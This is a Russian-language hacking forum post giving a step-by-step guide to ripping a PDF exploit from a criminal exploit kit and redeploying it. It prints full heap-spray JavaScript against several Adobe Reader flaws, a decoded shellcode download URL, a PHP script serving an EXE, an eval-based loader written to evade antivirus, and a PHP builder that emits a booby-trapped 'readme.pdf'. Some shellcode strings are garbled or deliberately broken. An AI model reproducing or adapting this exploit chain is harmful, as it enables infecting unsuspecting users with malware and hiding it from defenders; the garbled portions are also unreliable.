Реверсим PDF Exploit + чистка JS и сборка

Реверсим PDF Exploit + чистка JS и сборка

Всем привет! И с нова с вами команда Mr.ROBOT со свои новым сюжетом. Недавно мне понадобился пдф эксплойт и я решил снять его со связки, отреверсить, почистить и использовать в своих целях. Это война пули и брони, выходит новый приватный эксплойт пдф у одной из связок , другие авторы его сразу же пиздят и ставят в свои связки или продают билды по 1000$ и выше на подобных форумах.

Сейчас в принципе все доступно в паблике, но если нужно, что то новенькое, то стучим продавцам связок, билдов и просим тест, от туда уже снимаем сам пдф для реверса.

Допустим у нас есть пдф файл с эксплойтом из какой нибудь связки, теперь нам нужно найти и вытащить объект с javaScript эксплойтом из этой пдф’ки.

Вот инструменты на путоне:
Скачать:
РЕВЕРСИМ ПДФ.rar
Пасс:
nora.biz

В архиве pdfid_v0_0_11.zip, pdf-parser_V0_3_7.zip, make-pdf_V0_1_1.zip, python.msi (для Win). Ставим интерпретатор путона на свою ОС, далее вытаскиваем JS exploit PDF.

На этом видео подробно показано как найти нужный объект и вытащить JS.

Если влом смотреть, то вот

PHP код:



pdf-parser.py --object 8 --filter --raw exploit.pdf 1.js 




Нужно только найти ссылку на объект, в моем случаи 8.

https://www.youtube.com/watch?v=tHVi2wKCkTc

Еще нашел важную вещь, цитирую с хакер ру

Цитата:

Если ты обратил внимание, когда мы говорили про структуру PDF-документа, мы сказали, что у объекта Stream может быть атрибут /Filter, который определяет, каким методом сжаты данные потока. Причем к потоку могут быть применены сразу несколько фильтров (например,/Filter [/Fl /Ahx]). Что касается интересующего нас объекта JavaScript, то он, в свою очередь, должен содержать либо функцию, либо косвенную ссылку на код для выполнения. Поэтому зараженные файлы очень часто содержат JavaScript-объекты следующего вида: /JS (this.Z0pEA5PLzPyyw()). При этом простой поиск функции по имени ничего не даст, так как она скорей всего будет расположена в сжатом потоке. Чтобы получить распакованное содержимое потока, можно воспользоваться утилитой PDFtk:

pdftk 1.pdf output uncompressed.pdf uncompress`

После этого у нас появится файл uncompressed.pdf с распакованным содержимым, пригодным для дальнейшего анализа. Ну а дальше действуем по использованной выше схем

Еще одна важная вещь, PDF-файлы это своего рода архивы в которых можно носить зараженные SWF-файлов. Что бы извлечь такой файл для анализа, используйте:

PHP код:



https://github.com/9b/pdfxray_lite/blob/master/swf_mastah.py

swf_mastah.py -f malicious.pdf -fileswf ./ 




Далее будем работать по моему примеру, а так все аналогично.

Допустим вытащили сплойт и привели его в порядок:

PHP код:



<script>

function 
shcode(url)

{

sh "邐邐쀳譤぀౸䂋謌ᱰ训ࡘ৫䂋贴籀墋樼婄俫剚襖ѕ坖王謼㍴͸図皋̠㏳䧉䅐㎭㛿븏̔ࡴ쿁̍䃺㭘痸廥䚋̤曃ಋ譈᱖팃ҋΊ心偞跃ࡽ剗㎸諊ᄁ 쀲껲롏⹥硥暫暘낫詬飠桐湯搮畨汲呭躸๎↓ѕ傓쀳偐譖ѕ슃荿㇂偒㚸⼚ーѕ㍛埿롖ﺘຊ嗿圄⦆ѕ";

return 
sh+url;

}

function 
nplayer() {

function 
kzbve()

{

var 
eobwe="[email protected] : yyyy111";

util.printd(eobwe, new Date());

}

var 
grizxw=12000;

jucobu=new Array();

var 
klkng "邐邐";

var 
hwjnalb8=shcode("爯潯慭瑲椮普⽯汦支數瀮灨政灸倽䙄⠠敮偷慬敹⥲");

klkng=unescape(klkng);

hwjnalb8=unescape(hwjnalb8);

while(
klkng.length <= 0x8000){klkng+=klkng;}

klkng=klkng.substr(0,0x8000 hwjnalb8.length);

for(
fzfwam=0;fzfwam<grizxw;fzfwam++) {jucobu[fzfwam]=klkng hwjnalb8;}

if(
grizxw){kzbve();kzbve();try {this.media.newPlayer(null);} catch(e) {}kzbve();}

}

function 
printf() {

var 
payload=unescape(shcode("22F潯慭瑲椮普⽯汦支數瀮灨政灸倽䙄⠠牰湩晴)"));

var 
nop ="";

for (
iCnt=128;iCnt>=0;--iCntnop += unescape("邐邐邐邐邐");

heapblock nop payload;

bigblock unescape("邐邐");

headersize 20;

spray headersize+heapblock.length;

while (
bigblock.length<spraybigblock+=bigblock;

fillblock bigblock.substring(0spray);

block bigblock.substring(0bigblock.length-spray);

while(
block.length+spray 0x40000block block+block+fillblock;

mem = new Array();

for (
i=0;i<1400;i++) mem block heapblock;

var 
num 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888

util
.printf("%45000f",num);

}

function 
geticon() {

var 
shellcode=unescape(shcode("瑨灴⼺爯潯慭瑲椮普⽯汦支數瀮灨政灸倽䙄⠠敇䥴潣⥮"));

garbage unescape("邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐邐") + shellcode;

nopblock unescape("邐邐");

headersize 10;

acl headersize+garbage.length;

while (
nopblock.length<aclnopblock+=nopblock;

fillblock nopblock.substring(0acl);

block nopblock.substring(0nopblock.length-acl);

while(
block.length+acl<0x40000block block+block+fillblock;

memory = new Array();

for (
i=0;i<180;i++) memory block garbage;

var 
buffersize 4012;

var 
buffer = Array(buffersize);

for (
i=0i<buffersizei++)

{

buffer unescape("%0a%0a%0a%0a");

}

Collab.getIcon(buffer+"_N.bundle");

}

function 
collab() {

function 
fix_it(yarsp,len) {

while(
yarsp.length*2<len) { yarsp+=yarsp; }

yarsp=yarsp.substring(0,len/2);

return 
yarsp; }

var 
shellcode=unescape(shcode("6F6F慭瑲椮普⽯汦支數瀮灨政灸倽䙏43汬扡)"));

var 
mem_array=new Array();

var 
cc=0x0c0c0c0c;

var 
addr=0x400000;

var 
sc_len=shellcode.length*2;

var 
len=addr-(sc_len+0x38);

var 
yarsp=unescape("邐邐");

yarsp=fix_it(yarsp,len);

var 
count2=(cc-0x400000)/addr;

for(var 
count=0;count<count2;count++) {mem_array[count]=yarsp+shellcode; }

var 
overflow=unescape("ఌఌ");

while(
overflow.length<44952) {overflow+=overflow; }

this.collabStore=Collab.collectEmailInfo( { subj:"",msg:eek:verflow } );

}

aPlugins app.plugIns;

var 
sv=parseInt(app.viewerVersion.toString().charAt(0));

for (var 
i=0aPlugins.lengthi++)

  {

  if (
aPlugins.name=="EScript")

  {

  var 
lv=aPlugins.version;

  }

  }

if ((
lv==9)||((sv==8)&&(lv<=8.12)))

  {

  
geticon();

  }

else if (
lv==7.1)

  {

  
printf();

  }

else if (((
sv==6)||(sv==7))&&(lv<7.11))

  {

  
collab();

  }

else if ((
lv >= 9.1) || (lv <= 9.2) || (lv >= 8.13) || (lv <= 8.17))

  {

  
nplayer();

  }

</script> 



Теперь у нас на руках готовый эксплойт, осталось разобраться с шелл-кодом и перевязать сплойт на наш урл, далее закриптовать и радоваться жизни.

Ковыряем Shell-код

В нашем эксплойте используется несколько известных уязвимостей типа geticon, collab, nplayer… PDF в примере взят со старой связки и шелл-коды я там побил, дабы не палить чужие урлы.

Наша задача прикрутить его к нам на хост, для этого ищем строку в наше эксплойте

PHP код:



shellcode=unescape(shcode("6F6F慭瑲椮普⽯汦支數瀮灨政灸倽䙏43....")); 




На выходи получаем проблемы с кодировкой

Цитата:

瑨灴⼺爯潯慭瑲椮普⽯汦支慭瑲椮普⽯汦支數瀮灨政灸倽� �⠠敮偷慬敹⥲

Определяем кодировку и читаем содержимое http://foxtools.ru/Text

PHP код:



http://roodfrt.info/fl/exe.php?exp=PDF 




Теперь у нас есть 2 варианта, в первом мы можем поставить прямой урл на ехе, закодировать все это в unescape и перейти к следующим шагам. Во-втором варианте мы будем использовать улр до пхп скрипта, который будет раздавать ехе. Плюс в том, что мы можем прикрутить статистику.

Вот просто скрипт раздачи EXE-файлов

PHP код:



<?php

  $file "file/file.exe";

  
$size filesize($file);

  
$f fopen($file"r");

  
$r fread($f$size);

  
fclose($f);

  header("Accept-Ranges: bytes");

  
header("Content-Length: " $size "");

  
header("Content-Disposition: inline; filename=" $file "");

  
header("Content-Type: application/octet-stream");

  echo(
$r);

?>


Так, продолжаем! У нас есть урл до нашего ехе, теперь нам нужно привести его к кодировки юникод и кодировать. Идем на http://foxtools.ru/Text , раздел Кодеры, там выбираем text, далее ставим исходную кодировку Unicode и полученный результат

Цитата:

椮普⽯汦支數瀮灨政灸倽䙄

Теперь кодируем его в unescape на онлайн сервисе http://www.utilities-online.info/url…/#.VpcblE_4QsM и добавляем в эксплойт. Если это комба и урлов не один, то делаем все по аналогии. Все теперь у нас есть рабочий сплойт запиленный под раздачу нашего ехе.

Чистка JavaScript Exploit’a

Я предлагаю не стандартный варианта чистки, по этому не буду объяснять для чего каждый шаг, просто читайте дальше.

Для начала нам понадобится компрессор javascript, можно воспользоваться http://www.exlab.net/tools/js-compressor.html , когда весь код сжался и получился в 1 строку, нам нужно заменить двойные кавычки на одинарные. Для этого можно воспользоваться любым редактором, например Dreamweaver. В меняю поиска есть кнопка "Заменить все", думаю это не проблема и можно исполнить на любом языке.

Далее обрабатываем наш сплойт пхп скриптом, который делает обфускацию кода. Вариантов тут может быть куча, я придумал следующие

PHP код:



<?

$s 
"сюда_закидываем_наш_сплойт";

echo 
implode("ZZZ"str_split($s))."ZZZ";

?>


Что мы тут имеем? Тупо добавляем перед каждым символом "ZZZ", спереди и сзади)

Теперь наш сплойт похож на кажу и нужно написать загрузчик и постараться запутать аверы.

PHP код:



<script>

function 
hotfunc(owerav)

{

var 
ciyxe 'Z';

var 
jookkk '';

for(
formas=0;formas<owerav.length;formas++)

{

var 
goldenz owerav.charAt(formas);

if(
goldenz == ciyxe) {  } else { jookkk+=goldenz;

}

}

return 
jookkk;

}

var 
stafgarika hotfunc("ZZfZZuZZZnZZcZZZtZiZZoZZnZ kodekZnZoZZrZZmZZaZZlnZZiZZyZZZZ(ZuZrZlZZZ)ZZ{ZZvZZaZr ZZsZZZhZZ=ZZZ'ZZ%ZZuZZ9Z090ZZ%ZZZuZZ909ZZ0ZZ%ZZuZZCZZZ0ZZ3ZZ3ZZ%ZZuZZ8ZZBZZ6ZZ4ZZ%ZZuZZ3ZZ0ZZ4ZZ0ZZ%ZZuZZ0ZZCZZ7ZZ8ZZ%ZZuZZ4ZZ0ZZ8ZZBZZ%uZZ8ZZBZZ0C ZZC7ZZ0ZZ%ZZuZZ8ZZBZZAZZDZZ%uZZ08ZZ58৫[email protected]ZZ34籀墋%ZZu6A3ZZZ|(ZZZZlvZZZZ<=ZZ8.ZZ17ZZ))ZZZZZZ{sZZZZosZZZZitZZeavivasvrZZZZotebal()ZZZZ;ZZZZ}ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ..................."); 

boomboom ''+stafgarika+'';

var anonas 399;

var 
jokerz '';

zalupaebanai0 boomboom;

for(
erolz=0;erolz<anonas;erolz++)

{

var 
sum erolz+1;

jokerz+='var zalupaebanai'+sum+' = zalupaebanai'+erolz+';';

this['e'+'val'](jokerz);

}

this['e'+'val']('this['eva'+'l'](zalupaebanai'+anonas+');');

</script> 



Что делает днный скрипт? Убирает мусор в виде ZZZ и выполняет JavaScript, далее выполняются бессмысленные циклы для запутывания АВ. Теперь наш сплойт (который мы готовили) помещаем в так называемый загрузчик, что написали выше (в переменную stafgarika).

Вы можете менять ZZZ на ### и производить более сложные модификации, тут мы раскрываем только суть.

Сборка PDF Exploit’a

Теперь нам осталось собрать ПДФ-файл, это мы исполним на пхп

PHP код:



<?php

$js_pdf file_get_contents('1.txt');

$pdf_body "

%PDF-1.3

2 0 obj << /OpenAction << /JS 9 0 R /S /JavaScript >> /Type /Catalog /Pages 3 0 R >> endobj

3 0 obj << /Type /Pages >> endobj

5 0 obj << /Type /Page /Parent 3 0 R >> endobj

9 0 obj <</Filter /FlateDecode >>

stream

{PDF_BODY}

endstream

endobj

trailer <</Root 2 0 R>>

"
;

$script gzcompress($js_pdf);

$pdf str_replace("{PDF_BODY}"$script$pdf_body);

$pdf_lenght strlen($pdf);

header("Content-Length: {$pdf_lenght}");

header("Content-Disposition: inline; filename=readme.pdf");

header("Content-Type: application/pdf");

die(
$pdf);

?>


Как вы уже догадались в 1.txt нужно положить написаный выше загрузчик со сплойтом на борту, но предже пройтись компрессором жс http://www.exlab.net/tools/js-compressor.html

В принципе на этом на сегодня все! Будут вопросы, задавайте.

Автор: MrROBOT
jabber: [email protected]

Оставьте комментарий